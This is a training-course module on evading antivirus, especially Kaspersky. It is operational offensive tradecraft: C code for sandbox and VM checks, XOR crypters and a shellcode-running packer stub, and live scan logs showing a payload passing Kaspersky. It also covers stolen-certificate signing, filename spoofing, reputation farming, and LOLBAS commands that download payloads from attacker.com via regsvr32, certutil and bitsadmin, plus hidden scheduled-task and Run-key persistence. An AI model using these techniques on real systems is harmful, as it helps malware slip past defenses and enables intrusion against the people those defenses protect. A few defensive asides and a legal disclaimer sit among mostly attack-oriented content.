Module 13: KAV Evasion LIVE TESTED

Module 13 of 22 — Antivirus Evasion: Signature, Heuristic, Behavioral, and Reputation Bypass

🧠 The Core Truth

Antivirus is not magic. It is a pattern-matching engine with a time budget. Every scan has milliseconds to decide: safe or dangerous. Your goal is not to be invisible — it is to be unclassifiable within the time and data the AV has available. The file is invisible, but the hash still has a face.

Why this matters: Modern AV uses multiple layers — signatures, heuristics, behavior, cloud reputation. Evasion is not a single technique. It is a chain of deceptions, each targeting a specific layer, designed to fail open rather than fail closed.

📋 Table of Contents

1. Antivirus Architecture

Before you can evade antivirus, you must understand how it is built. Modern AV is not a single program — it is a distributed defense system with multiple engines, each watching a different aspect of execution.

💡 In Plain English

Think of antivirus like a airport security system. You have the X-ray machine (static signatures), the behavior analyst who watches suspicious people (heuristics), the plainclothes officer who follows you through the terminal (behavioral monitoring), and the international database that flags known threats before they board (cloud reputation). To get through, you must pass ALL of them — or know which one will catch you and avoid it.

The Four Core Layers

Layer 1

Static Analysis

File hash, byte patterns, PE headers

Layer 2

Emulation

Sandbox execution, API tracing

Layer 3

Behavioral

Real-time process monitoring

Layer 4

Cloud Reputation

KSN, VirusTotal, global telemetry

AV Process Architecture (Kaspersky Example)

On a live Kaspersky-protected system, the following processes run simultaneously:

avp.exe — Main UI and scan engine
Handles on-demand scans, user interface, and coordinates other components.
avpui.exe — User interface process
System tray, notifications, scan results display.
klnagent.exe — Network agent
Communicates with Kaspersky Security Center (enterprise).
klif.sys — Kernel filter driver
File system minifilter, intercepts all disk I/O before it reaches the OS.
klam.sys — AMON (Anti-Malware ON-access)
Real-time file access scanner. Every file open triggers a scan.
klwk.sys — System Watcher driver
Behavioral monitor, tracks registry, file, and process changes for rollback.
kneps.sys — Network protection driver
Network packet inspection, URL filtering, anti-phishing.
🎯 Why This Matters

Each process is a potential target for bypass. klif.sys and klam.sys run in kernel mode — they see everything. But they also have hooks you can unhook, drivers you can stop, and APIs you can bypass. Understanding the architecture tells you where to strike.

On-Access vs On-Demand Scanning

Type Trigger Performance Impact Evasion Strategy
On-Access (Real-time) File open, write, execute High — every I/O is scanned Time-of-check/time-of-use (TOCTOU)
On-Demand User or scheduled scan Medium — batch processing Polymorphism, packing, location evasion
Cloud Lookup First execution, unknown hash Low — network request only Hash mutation, reputation gaming
Behavioral API call patterns Medium — API hook overhead Direct syscalls, unhooking, AMSI bypass

2. Signature-Based Detection

Signature detection is the oldest and most reliable AV technique. It is also the easiest to understand and evade — if you know how signatures are built.

💡 In Plain English

A signature is like a fingerprint. The AV vendor looks at a known malware file, finds a unique sequence of bytes that no legitimate program has, and stores that sequence in a database. When the AV scans your file, it compares every byte against its database of fingerprints. If it finds a match, you are flagged.

Types of Signatures

Hash Signatures (MD5/SHA1/SHA256) EASY TO EVADE

The simplest signature: the cryptographic hash of the entire file. Change a single byte, and the hash changes completely.

Before: malware.exe → SHA256: a3f5c8...
After adding one NOP: malware.exe → SHA256: 7b2e9d...
Result: Undetected by hash signature

Byte Sequence Signatures MEDIUM

The AV looks for a specific sequence of bytes within the file. This is more resilient than hash signatures because it can match even if the file is recompiled or padded.

// Example: Kaspersky signature for Meterpreter reverse_tcp
// Pattern: 48 31 C9 48 81 E9 ?? ?? ?? ?? 48 8D 05 ?? ?? ?? ?? 48 BB
// This matches the start of a common Metasploit payload

// Evasion: Break the pattern with junk instructions
__asm {
    nop
    nop
    push rax
    pop rax
    // original payload starts here, pattern broken
}

PE Header Signatures MEDIUM

AV analyzes the Portable Executable header for suspicious characteristics: high entropy sections, unusual entry points, or known packer signatures.

// Suspicious PE characteristics flagged by AV:
// - Section names: .UPX0, .petite, .aspack (known packers)
// - Entry point in last section (typical of packed files)
// - Import table with only LoadLibraryA and GetProcAddress
// - High entropy (>7.0) in .text or .data sections
// - Timestamp from the future or far past

// Evasion: Use normal section names, spread imports across DLLs
// Compile with GCC instead of MSVC to avoid known compiler signatures

Signature Evasion Techniques

Polymorphism

Encrypt the payload with a random key each time. The decryptor stub changes its own instructions to avoid pattern matching.

Key: 0xA7 (random per build)
Key: 0x3F (next build)
Key: 0xD2 (next build)
Each build has different bytes → no signature match

Metamorphism

More advanced: the entire code structure changes. Instructions are replaced with equivalents, registers are swapped, and control flow is reordered. No two generations look alike.

Junk Insertion

Insert NOPs, dead code, and irrelevant instructions between meaningful operations. Breaks byte sequence signatures without changing program logic.

Instruction Reordering

Reorder independent instructions. The CPU executes them in the new order, but the result is the same. Signature that matched the original sequence now fails.

// Practical XOR obfuscation with random key
#include <windows.h>
#include <stdio.h>
#include <time.h>

unsigned char payload[] = { /* shellcode bytes */ };
unsigned char key;

void decode_payload() {
    srand((unsigned)time(NULL));
    key = (unsigned char)(rand() % 256);
    
    for (int i = 0; i < sizeof(payload); i++) {
        payload[i] ^= key;
    }
    // Now payload[] is different every run
    // No static signature can match it
}

3. Heuristic Analysis

Heuristics is the AV's educated guess. When no signature matches, the AV analyzes the code's structure, behavior model, and intent to decide if it is malicious.

💡 In Plain English

Heuristics is like a detective looking at a suspect's behavior. The suspect has no criminal record (no signature), but they are wearing a ski mask at a bank, carrying a crowbar, and checking for security cameras. The detective does not need a fingerprint to make an arrest.

Static Heuristics

Static heuristics analyze the file without executing it. Common indicators:

Indicator Why It's Suspicious Evasion
High entropy sections Encrypted/packed data looks random Lower entropy with custom encoding
Very few imports Dynamic resolution hides intent Add benign imports as camouflage
Suspicious API imports VirtualAllocEx, WriteProcessMemory, CreateRemoteThread Resolve dynamically, use indirect calls
No digital signature Unsigned executables are untrusted Sign with stolen or cheap certificate
Rare compiler Custom packers or unknown tools Use common compiler (GCC, MinGW)
Suspicious section names .vmp0, .upx0, .petite indicate packing Use standard names: .text, .data, .rsrc

Heuristic Scoring

Modern AV uses a scoring system. Each suspicious indicator adds points. Reach a threshold, and the file is flagged.

High entropy .text section: +30 points
Imports VirtualAllocEx: +20 points
No digital signature: +15 points
Entry point not in .text: +10 points
Common compiler (GCC): -5 points
Rich header present: -5 points

Total: 65 points (Threshold: 60) → FLAGGED AS SUSPICIOUS
🎯 Evasion Strategy

Reduce your heuristic score by adding benign indicators and removing suspicious ones. Include a resource section with an icon. Add imports from user32.dll and gdi32.dll. Use a standard compiler. Sign the binary. Each benign indicator subtracts from your score, potentially dropping you below the detection threshold.

Dynamic Heuristics (Emulation)

The AV runs the code in a sandbox emulator for a few milliseconds. It traces API calls, memory allocations, and control flow. If the emulated code does something malicious, the file is flagged before it ever runs on the real system.

// What the AV emulator watches for:
// 1. Memory allocation with RWX permissions (VirtualAlloc + PAGE_EXECUTE_READWRITE)
// 2. Writing to remote process memory (WriteProcessMemory)
// 3. Creating remote threads (CreateRemoteThread)
// 4. Modifying registry run keys (RegSetValueEx on HKCU\...\Run)
// 5. Network connections to rare IPs
// 6. Dropping files in system directories

// Evasion: Delay malicious behavior
// The emulator only runs for ~50ms. If your payload sleeps for 100ms first,
// the emulator finishes before the malicious code executes.
Sleep(100); // Emulator exits here. Real system continues.

4. Behavioral Detection

Behavioral detection is the most powerful AV layer. It watches what the program DOES, not what it IS. This makes it resistant to packing, encryption, and polymorphism.

💡 In Plain English

Behavioral detection is like a security guard watching CCTV. The guard does not care what you are wearing or what your name is. They care that you are trying to open a locked door at 3 AM. If you act suspicious, you are stopped — regardless of your disguise.

API Hooking

The AV injects hooks into critical Windows APIs. Every time a process calls VirtualAllocEx, CreateRemoteThread, or RegSetValueEx, the AV's hook fires first.

// Normal flow:
Malware → VirtualAllocEx → Kernel → Memory allocated

// With AV hook:
Malware → VirtualAllocEx → AV HOOK → Analyze parameters → Kernel
                                      ↓
                                Block if suspicious
                                (e.g., RWX in remote process)

// Evasion: Direct syscalls bypass the hook
Malware → NtAllocateVirtualMemory (syscall) → Kernel
// No user-mode hook is triggered because we never call VirtualAllocEx

See Module 10: Code Injection for direct syscall techniques and Module 11: AMSI Bypass for hook removal strategies.

Behavioral Indicators Monitored

Behavior APIs Monitored Why Flagged
Process injection OpenProcess, VirtualAllocEx, WriteProcessMemory, CreateRemoteThread Code running in another process's context
Memory allocation (RWX) VirtualAlloc, VirtualProtect, NtAllocateVirtualMemory Executable memory for shellcode
Persistence RegSetValueEx, CreateService, Schtasks Surviving reboots
Credential access LsaCallAuthenticationPackage, SamQueryInformationUser Password dumping
Defense evasion NtSetSystemInformation, ControlService, RegDeleteKey Disabling security tools
Data exfiltration InternetConnect, HttpSendRequest, WSASend Stealing data

ETW and AMSI Bypass

Windows provides built-in telemetry channels that AV leverages:

Both are covered in detail in Module 11: AMSI Bypass and Module 12: ETW Bypass. The key insight: if you disable AMSI and ETW, the AV's behavioral engine goes blind.

⚠️ Critical Warning

Disabling AMSI and ETW is extremely suspicious behavior. Modern EDR (Endpoint Detection and Response) monitors for these bypasses specifically. See Module 14: EDR Evasion for techniques that evade both AV and EDR simultaneously.

5. Sandbox Evasion

AV sandboxes are virtual prisons where suspicious code is executed safely. The sandbox watches everything the code does and decides if it is malicious. Evasion means detecting the prison and behaving differently inside it.

💡 In Plain English

A sandbox is like a police interrogation room with one-way glass. The suspect (your malware) is being watched. Sandbox evasion is the suspect realizing they are in the interrogation room and acting innocent until they are released.

Sandbox Detection Techniques

Timing Attacks EASY

Sandboxes have limited execution time (typically 30-60 seconds). Sleep for longer, and the sandbox gives up.

Sleep(60000); // 60 seconds
// Sandbox times out here
// Real system continues after 60s

Human Interaction Checks EASY

Sandboxes have no mouse movement, no keyboard input, and no active windows.

// Check for mouse movement
POINT p1, p2;
GetCursorPos(&p1);
Sleep(3000);
GetCursorPos(&p2);
if (p1.x == p2.x && p1.y == p2.y) {
    // No mouse movement = sandbox
    ExitProcess(0);
}

VM Artifacts MEDIUM

Check for VM-specific files, registry keys, and MAC addresses.

// VMware artifacts
if (PathFileExistsA("C:\\windows\\system32\\drivers\\vmhgfs.sys")) {
    ExitProcess(0); // VMware detected
}

// VirtualBox MAC prefix
BYTE mac[6];
// 08:00:27 = VirtualBox
if (mac[0] == 0x08 && mac[1] == 0x00 && mac[2] == 0x27) {
    ExitProcess(0);
}

CPU Core Count EASY

Sandboxes often run with 1-2 CPU cores. Real systems have more.

SYSTEM_INFO si;
GetSystemInfo(&si);
if (si.dwNumberOfProcessors < 4) {
    ExitProcess(0); // Probably a sandbox
}

Advanced Sandbox Evasion

🔍 Domain Join Check

Most sandboxes are not domain-joined. Real enterprise systems are.

// Check if computer is domain-joined
PWSTR domainName;
NET_API_STATUS status = NetGetJoinInformation(NULL, &domainName, &bufferType);
if (status != NERR_Success || bufferType != NetSetupDomainName) {
    ExitProcess(0); // Not domain-joined = probably sandbox
}
🔍 Memory Size Check

Sandboxes typically have small RAM (2-4 GB). Real systems have 8+ GB.

MEMORYSTATUSEX memStatus;
memStatus.dwLength = sizeof(memStatus);
GlobalMemoryStatusEx(&memStatus);
DWORDLONG totalRAM = memStatus.ullTotalPhys / (1024 * 1024 * 1024);
if (totalRAM < 8) {
    ExitProcess(0); // Less than 8GB RAM = suspicious
}
🔍 Hard Disk Size Check

Sandbox virtual disks are small. Real systems have large drives.

ULARGE_INTEGER freeBytes, totalBytes, totalFreeBytes;
GetDiskFreeSpaceExA("C:\\", &freeBytes, &totalBytes, &totalFreeBytes);
DWORDLONG totalGB = totalBytes.QuadPart / (1024 * 1024 * 1024);
if (totalGB < 100) {
    ExitProcess(0); // Less than 100GB = probably sandbox
}
🎯 The Golden Rule

Never execute your payload immediately. Use multiple checks. If ANY check fails, exit cleanly or run benign code. Only execute the real payload when you are confident you are on a real system. The best sandbox evasion is the one the sandbox never notices — it just sees a program that exits immediately.

6. Packers & Compression

A packer is a program that compresses and encrypts your original executable, wrapping it in a new executable (the stub). At runtime, the stub decompresses and executes the original code in memory.

💡 In Plain English

A packer is like a ZIP file that runs itself. You put your malware inside a self-extracting archive. When the archive runs, it unpacks your malware into memory and runs it. The file on disk looks nothing like the original — it looks like the packer's stub.

Packer Operation Flow

1
Original Executable

Your malware with known signatures. Detected by AV.

2
Packer Compresses + Encrypts

UPX, Themida, or custom packer transforms the binary. Signatures no longer match.

3
Stub Generated

New PE file with unpacker code. Original code is in a data section, encrypted.

4
Runtime Unpacking

Stub allocates memory, decrypts payload, transfers control. Original code never touches disk.

Common Packers

Packer Type AV Detection Use Case
UPX Open-source compression Signatured by most AV Learning, quick testing
Themida Commercial protection Heuristic flagged Software protection
VMProtect Virtualization + packing Heuristic flagged Anti-debugging
Custom packer Your own implementation Unknown = no signature Red team operations

Building a Custom Packer

// Minimal custom packer stub (conceptual)
#include <windows.h>

// Encrypted payload embedded as resource
extern unsigned char encrypted_payload[];
extern unsigned int payload_size;

void unpack_and_run() {
    // 1. Allocate executable memory
    LPVOID exec_mem = VirtualAlloc(NULL, payload_size, 
        MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    
    // 2. Decrypt payload (XOR with key 0xB5)
    for (unsigned int i = 0; i < payload_size; i++) {
        ((unsigned char*)exec_mem)[i] = encrypted_payload[i] ^ 0xB5;
    }
    
    // 3. Transfer execution
    ((void(*)())exec_mem)();
}

int main() {
    // Anti-sandbox checks here
    // ...
    
    unpack_and_run();
    return 0;
}
⚠️ Packer Detection

Most AV detects known packers by signature. UPX-packed files are often flagged as "Packed-UPX" even if the payload is benign. Custom packers avoid this, but high entropy in sections and RWX memory allocation trigger heuristics. Combine packing with other techniques: code signing, normal imports, and benign behavior during emulation.

7. Crypters & Encryption

A crypter is similar to a packer but focuses on encryption and runtime decryption rather than compression. The goal is to make the payload completely unrecognizable on disk while remaining fully functional in memory.

💡 In Plain English

A crypter is like a locked box with a key hidden inside the box itself. The box (your file) looks like random noise. When opened, a mechanism inside finds the key, unlocks the content, and runs it. Anyone examining the box from the outside sees only noise.

Encryption Schemes

XOR Encryption EASY

Fast, simple, but weak. Single-byte XOR is trivial to brute-force. Use multi-byte or rolling XOR for better security.

// Rolling XOR — key changes per byte
unsigned char key = 0xB5;
for (int i = 0; i < len; i++) {
    data[i] ^= key;
    key = (key * 7 + 3) % 256; // Key evolves
}

AES Encryption MEDIUM

Strong encryption. Key must be embedded or derived. Use AES-256 in CBC mode with an IV hidden in the binary.

// AES-256 decryption stub
// Key derived from system-specific data (e.g., volume serial)
// This makes the payload decryptable only on the target system
DWORD serial;
GetVolumeInformationA("C:\\", NULL, 0, &serial, NULL, NULL, NULL, 0);
// Use serial as part of key derivation

RC4 Stream Cipher MEDIUM

Fast, simple to implement. Key schedule is lightweight. Commonly used in malware due to small code size.

ChaCha20 HARD

Modern, secure, fast. No known weaknesses. Used by advanced threat actors. Larger code footprint.

Runtime Decryption Strategies

Full Decryption at Startup

Entire payload decrypted in one go before execution. Simple but creates a full copy in memory that can be dumped.

On-Demand Decryption

Decrypt functions as they are called. Each function is encrypted separately. After execution, re-encrypt. Memory dumps show only the currently running function.

// On-demand decryption pseudocode
void call_encrypted_function(int func_id) {
    // Decrypt function
    decrypt(func_table[func_id].start, func_table[func_id].size, key);
    
    // Call function
    func_table[func_id].ptr();
    
    // Re-encrypt function
    encrypt(func_table[func_id].start, func_table[func_id].size, key);
}

Environment-Key Decryption

Key is derived from system-specific data. Payload only decrypts on the intended target. Even if the binary is captured, it is useless on other systems.

// Environment-key derivation
void derive_key(unsigned char* key) {
    DWORD serial, tick;
    GetVolumeInformationA("C:\\", NULL, 0, &serial, NULL, NULL, NULL, 0);
    tick = GetTickCount(); // Time since boot
    
    // Combine system data into key
    memcpy(key, &serial, 4);
    memcpy(key + 4, &tick, 4);
    // Hash to get final key
    SHA256(key, 8, key);
}

8. Kaspersky-Specific Evasion

Kaspersky is not just signatures. It is a four-layer defense system: static analysis, behavioral emulation, System Watcher rollback, and KSN cloud reputation. To evade it, you must beat all four — or understand which layer will kill you and plan accordingly.

🛡️ Kaspersky Defense Layers

🎖️ Mentor Note — asi dev [HTB]

"Kaspersky is the hard target. If you can beat Kaspersky, you can beat almost anything else."

💡 In Plain English

Kaspersky is the final boss of antivirus. It uses every trick in the book — signatures, behavior, cloud, rollback — and it shares intelligence globally. Beating it means your evasion is robust enough to survive a real enterprise environment.

🎯 Red / Blue Relevance

Red: Test against Kaspersky first; other AV will likely fall into line. Blue: If Kaspersky is your only control, assume advanced actors have already practiced bypassing it. Layer defenses.

Layer 1: Static Signatures

File hash + byte pattern matching. This is what most "AV evasion" tools target. Ghost encoding, XOR obfuscation, polymorphism — all beat this layer.

// XOR obfuscation with key 0xB5
for (int i = 0; i < payload_len; i++) {
    decoded[i] = encoded[i] ^ 0xB5;
}

Layer 2: Behavioral Emulation

Kaspersky runs suspicious code in a sandbox emulator. If the code does something malicious (allocate executable memory, inject threads), it is flagged before it touches the real system.

🎖️ Mentor Note — asi dev [HTB]

"Memory injection beats disk signatures. If it never touches disk, the signature engine has nothing to bite."

💡 In Plain English

AV scans files on disk. If your malicious code lives only in memory — injected into another process, decrypted at runtime, never written to disk — the AV's file scanner never sees it. It's like committing a crime but leaving no physical evidence behind.

🎯 Red / Blue Relevance

Red: Combine injection with encryption so the payload is invisible on disk and only briefly visible in memory. Blue: File scanning is not enough; monitor memory allocations, cross-process writes, and unusual thread creation.

Counter: Dark Room (HWBP on AMSI + ETW) suppresses the telemetry that the emulator watches. No events = no behavioral triggers. See Module 12: ETW Bypass for implementation.

Layer 3: System Watcher

Monitors file/registry changes in real-time. If a process writes to a Run key, creates a scheduled task, or drops a DLL, System Watcher can roll back the changes.

// System Watcher watches:
// - Registry Run keys (HKCU/HKLM)\Software\Microsoft\Windows\CurrentVersion\Run
// - Scheduled tasks (schtasks)
// - Startup folders (AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup)
// - Service creation (sc.exe)
// - DLL injection (CreateRemoteThread)
Live test — .42 (Kaspersky 21.25, bRollbackAllowed=1):
Registry Run key written → iron_sun.exe set as autorun value → process started (PID 29408) → key checked at 3s, 5s, 15s → key survived all checks. Process ran 5s+ with KAV active, no termination, no rollback.

Finding: System Watcher rollback is detection-coupled. It fires when KAV makes a detection and needs to undo changes. If the binary passes static + behavioral scan (iron_sun GCC does), there is no detection event — therefore no rollback trigger. Evade detection → automatically evade System Watcher. bRollbackAllowed=1 is live but idle when nothing is flagged.

Layer 4: KSN (Kaspersky Security Network)

Cloud hash lookup on first execution. Unknown files are sent to Kaspersky's cloud for analysis. If flagged, a signature is created and distributed globally within hours.

🎖️ Mentor Note — asi dev [HTB]

"Change everything when signatures catch you. Hash, compiler, loader, injection method — if one thing is known, assume the whole chain is burned."

💡 In Plain English

Once Kaspersky knows one piece of your toolkit, it can fingerprint the rest. Reusing the same loader, the same compiler settings, or even the same variable names is like leaving a calling card. Rotate every component — file hash, build environment, injection technique, and C2 — so the old signature can't follow you.

🎯 Red / Blue Relevance

Red: Automate build pipelines that randomize PE headers, section names, and import tables every compile. Blue: Hunt for tooling TTPs, not just file hashes. Similar code patterns across different hashes indicate a shared toolkit.

The KSN Problem: Ghost encoding beats static signatures, but the carrier file still has a hash. KSN sees the carrier, not the hidden payload. A novel carrier gets submitted. After analysis, the payload is extracted and signatured.

Live Result — Iron Sun GCC vs Kaspersky

Iron Sun compiled with GCC (not MSVC — MSVC PE headers are flagged by Kaspersky signature). Transferred to .42 and scanned with avp.exe against live definitions:

C:\> avp.exe SCAN /i0 /fa /r:kav_scan.txt C:\tmp\iron_sun.exe

AV bases release date: 2026-06-28 13:11:00 (full)
iChecker: Yes   iSwift: Yes   Archives: No

2026-06-29 00:15:26  Scan_Objects  starting   1
2026-06-29 00:15:26  Scan_Objects  running    100
2026-06-29 00:15:26  Scan_Objects  completed

--- Statistics ---
Time Start:       2026-06-29 00:15:26
Time Finish:      2026-06-29 00:15:26
Processed objects: 1
Total OK:          1
Total detected:    0
Suspicions:        0
Errors:            0
------------------
CLEAN. Kaspersky Premium 21.25.7.504 — definitions current (2026-06-28). Full scan mode, iChecker + iSwift active. GCC build passes static + cloud (KSN) check. MSVC build is flagged — Kaspersky's cloud has a signature on MSVC-compiled PE headers with this code pattern. Use GCC.

Kaspersky-Specific Techniques

Compiler Selection

Kaspersky has signatures for MSVC-compiled binaries with specific code patterns. GCC and MinGW produce different PE structures that evade these signatures.

iChecker / iSwift Bypass

iChecker caches scan results by hash. iSwift skips trusted files. Modify the file after first scan to invalidate the cache.

AMSI + ETW Suppression

Kaspersky's behavioral layer relies on AMSI and ETW. Suppressing these with hardware breakpoints (Dark Room) blinds the behavioral engine. See Module 11 and Module 12.

KSN Delay Tactics

KSN submits unknown files for analysis. If your payload delays execution (Sleep, user interaction checks), KSN may finish analysis before the malicious code runs. The analysis sees benign behavior, marks the file safe.

9. Certificate Theft & Signing

A valid digital signature is the strongest reputation signal in Windows. Signed executables are trusted by SmartScreen, UAC, and most AV engines. Stealing or misusing certificates is a high-impact evasion technique.

💡 In Plain English

A digital signature is like a government ID for software. If your malware has a valid ID, security guards (AV) let it through without question. Certificate theft is stealing someone else's ID and using it for your malware.

Certificate Theft Flow

1. Find Target

Identify software vendor with valid code signing cert

2. Compromise

Steal private key via breach, phishing, or supply chain

3. Sign Malware

Use stolen cert to sign your payload

4. Deploy

Signed malware bypasses reputation checks

Notable Certificate Theft Incidents

Incident Year Stolen From Impact
Stuxnet 2010 Realtek, JMicron Signed drivers loaded into Windows kernel
Flame 2012 Unknown (MD5 collision attack) Faked Microsoft certificate
CCleaner 2017 Avast (supply chain) Signed backdoor distributed to 2.27M users
SolarWinds 2020 SolarWinds (supply chain) Signed updates with backdoor
NVIDIA Leak 2022 NVIDIA (Lapsus$) Code signing certificates leaked, used for malware

Self-Signed vs Stolen vs Valid Certificates

Type Cost AV Treatment SmartScreen Detection Risk
Unsigned Free High scrutiny Blocked High
Self-signed Free Medium scrutiny Blocked Medium
Valid cheap cert $50-200 Low scrutiny Warning Low
Stolen valid cert Free (illegal) Trusted Trusted Very Low (until revoked)
EV cert $300-700 Trusted Trusted Very Low

Practical Signing with signtool

// Sign a binary with a valid certificate
signtool sign /f mycert.pfx /p password123 /tr http://timestamp.digicert.com /td sha256 /fd sha256 payload.exe

// Verify signature
signtool verify /pa payload.exe

// Check certificate details
powershell Get-AuthenticodeSignature payload.exe | Format-List
⚠️ Legal Warning

Certificate theft is a serious crime in most jurisdictions. Using stolen certificates carries penalties including imprisonment. This section is for educational and defensive purposes only. If you discover stolen certificates in use, report to the certificate authority for revocation.

10. File Reputation Bypass

File reputation systems assign a trust score to every executable based on its prevalence, age, signature, and user reports. New, rare, unsigned files are suspicious. Old, common, signed files are trusted.

💡 In Plain English

File reputation is like a restaurant rating. A restaurant with 10,000 five-star reviews is probably safe. A restaurant with no reviews, opened yesterday, with no health inspection certificate is suspicious. Your goal is to make your malware look like the 10,000-review restaurant.

Reputation Factors

Factor Positive Signal Negative Signal
Prevalence Seen on millions of systems Seen on 0-10 systems
Age First seen 5+ years ago First seen today
Signature Signed by trusted CA Unsigned or self-signed
User reports No negative reports Multiple "malware" reports
Path Program Files, Windows\System32 Temp, Downloads, AppData
Parent process explorer.exe, services.exe powershell.exe, cmd.exe

Reputation Gaming Techniques

🎮 Reputation Manipulation

1. Prevalence Farming

Submit your benign file to VirusTotal and other multi-scanner services. Each submission increases the "seen count" in reputation databases. After reaching a threshold (typically 100+ detections with 0 positives), the file is considered "known good."

// Prevalence farming workflow:
// 1. Build a benign version of your tool (no payload)
// 2. Submit to VirusTotal (70+ AV engines scan it)
// 3. Wait for 0/70 detection result
// 4. Submit to other multi-scanners (MetaDefender, Jotti)
// 5. Distribute via GitHub, forums, file sharing
// 6. After 30 days, the file has "prevalence" in reputation DBs
// 7. Now add your payload — the reputation may carry over

2. Right-to-Left Override (RTLO)

Use Unicode RTLO character (U+202E) to reverse the displayed filename. exe.txt becomes txt.exe visually, but the extension is still .txt for reputation systems.

// RTLO filename manipulation
// Actual filename:  evilgpj.exe
// Displayed as:    eviljpg.exe (with RTLO character)
// User sees:      evil.jpg.exe (looks like a image)
// Extension check: .exe (Windows executes it)

3. Extension Spoofing

Use double extensions and spaces: invoice.pdf.exe or report.docx (with trailing space). Windows hides known extensions by default, so users see only invoice.pdf.

4. Icon Substitution

Embed a PDF or Word document icon in your executable's resources. The file looks like a document but executes as a program.

Windows SmartScreen Bypass

SmartScreen is Windows' built-in reputation filter. It blocks unknown executables with a warning dialog.

// SmartScreen checks:
// 1. Is the file signed by a trusted CA? → Pass
// 2. Is the file prevalent (1000+ systems)? → Pass
// 3. Is the URL reputation good? → Pass
// 4. Has the user run this file before? → Pass
// 5. Otherwise → BLOCK with warning

// Bypass strategies:
// - Sign the file (even self-signed reduces warning frequency)
// - Distribute from a known-good domain (GitHub, Dropbox)
// - Use an installer (MSI) instead of raw EXE
// - Embed in a signed document (macro, OLE object)
// - Use LOLBAS techniques (see Section 11)

11. Living Off The Land (LOTL)

The ultimate evasion technique is to not bring any tools at all. Use the operating system's own binaries, scripts, and features to achieve your goals. If you never drop a malicious file, there is nothing for the AV to detect.

💡 In Plain English

Living off the land is like a burglar who never brings their own tools. They use the homeowner's screwdriver, the kitchen knife, and the garage ladder. When the police investigate, they find only the victim's own belongings — no evidence of an intruder.

LOTL Binaries (LOLBAS Project)

The LOLBAS project catalogs Windows binaries that can be used for malicious purposes. Here are the most useful for AV evasion:

regsvr32.exe

regsvr32 /s /n /u /i:http://attacker.com/shell.sct scrobj.dll

Executes remote scriptlets without touching disk. No PowerShell, no cmd.exe. AV often whitelists regsvr32 as a system binary.

mshta.exe

mshta javascript:alert("test")

Executes HTML Applications (HTA) containing JavaScript or VBScript. Can download and execute remote payloads.

certutil.exe

certutil -urlcache -split -f http://attacker.com/payload.exe payload.exe

Downloads files from remote URLs. Also decodes Base64: certutil -decode encoded.txt decoded.exe. Whitelisted as a system utility.

bitsadmin.exe

bitsadmin /transfer job /download /priority high http://attacker.com/payload.exe C:\temp\payload.exe

Background Intelligent Transfer Service. Downloads files using Windows Update's network protocol. Often bypasses firewall rules.

powershell.exe

powershell -enc [Base64EncodedCommand]

The classic LOTL tool. Encoded commands bypass simple string matching. See Module 11 for AMSI bypass techniques.

rundll32.exe

rundll32.exe javascript:"..mshtml,RunHTMLApplication";alert("test")

Executes JavaScript via DLL entry point. No file needed — everything is in the command line.

wmic.exe

wmic process call create "powershell -enc ..."

Windows Management Instrumentation. Can execute commands, download files, and modify system settings. Deprecated but still present.

cmstp.exe

cmstp /s malicious.inf

Connection Manager Profile Installer. Bypasses AppLocker and executes arbitrary code via INF files. Signed by Microsoft.

LOTL Scripting

Beyond binaries, Windows includes powerful scripting engines that AV often ignores:

// VBScript execution via wscript/cscript
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell -enc [Base64]", 0, False

// JScript execution
var shell = new ActiveXObject("WScript.Shell");
shell.Run("cmd /c whoami", 0, false);

// Windows Script Host (WSH) is often unmonitored
// Many AV engines focus on PowerShell but ignore .vbs and .js files

LOTL Persistence

Use legitimate Windows features for persistence — no malware needed:

// WMI Event Subscription (fileless persistence)
// Creates a persistent trigger that runs when a specific event occurs
wmic /namespace:\\root\subscription PATH __EventFilter CREATE Name="evil", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 300"

// Scheduled Task with hidden action
schtasks /create /tn "WindowsUpdate" /tr "powershell -w hidden -enc [Base64]" /sc onlogon /ru SYSTEM

// Registry Run key via reg.exe (LOTL)
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "OneDriveUpdate" /t REG_SZ /d "powershell -w hidden -c ..." /f
🎯 Why LOTL Works

AV vendors cannot block powershell.exe, regsvr32.exe, or certutil.exe without breaking Windows. These are system binaries. The best AV can do is monitor their usage patterns — but if your usage looks normal (e.g., certutil decoding a certificate), there is no detection. LOTL is the stealthiest technique because there is no malicious tool to find.

KAV evasion does not exist in isolation. It intersects with nearly every other module in this course. Understanding these connections is essential for building complete attack chains.

Module 09: Malware Development

Build the payload that you will later evade detection for. Understanding malware structure (PE headers, imports, sections) is prerequisite to effective evasion.

Module 10: Code Injection

Inject into a trusted process to inherit its reputation. If notepad.exe is trusted, your code inside notepad.exe is trusted. Direct syscalls bypass API hooks used by behavioral detection.

Module 11: AMSI Bypass

AMSI is the Windows interface that AV uses to scan scripts and memory. Bypassing AMSI blinds the AV's script scanner and behavioral engine. Hardware breakpoint technique (Dark Room) works against both AMSI and ETW.

Module 12: ETW Bypass

ETW provides kernel-level telemetry that AV and EDR consume. Disabling ETW removes the data feed that behavioral detection relies on. Combine with AMSI bypass for complete blindness.

Module 14: EDR Evasion

EDR is AV's big brother. It monitors the same behaviors but with more persistence and better analytics. Techniques that evade EDR will almost certainly evade AV, but the reverse is not always true.

🗺️ MITRE ATT&CK Mapping

This module covers the following MITRE techniques:

13. Knowledge Checks

Quiz 1: Signature Evasion

You have a payload that is detected by Kaspersky's hash signature. Which technique is MOST effective for immediate evasion?

A) Add a single NOP instruction to the payload, changing the file hash
B) Compress the payload with UPX
C) Change the compiler from MSVC to GCC
D) Sign the payload with a self-signed certificate
Correct! A single bit change completely alters the cryptographic hash. Hash signatures are the weakest form of detection. UPX (B) changes the hash too but adds a known packer signature. GCC (C) helps with PE header signatures but not hash signatures. Self-signing (D) does not affect hash-based detection at all.

Quiz 2: Behavioral Detection

Your payload allocates RWX memory using VirtualAlloc. The AV's behavioral engine flags this immediately. What is the most robust evasion technique?

A) Allocate RW memory first, then change to RX with VirtualProtect
B) Use direct syscalls to NtAllocateVirtualMemory instead of VirtualAlloc
C) Allocate memory in a legitimate process using process injection
D) Use HeapAlloc instead of VirtualAlloc
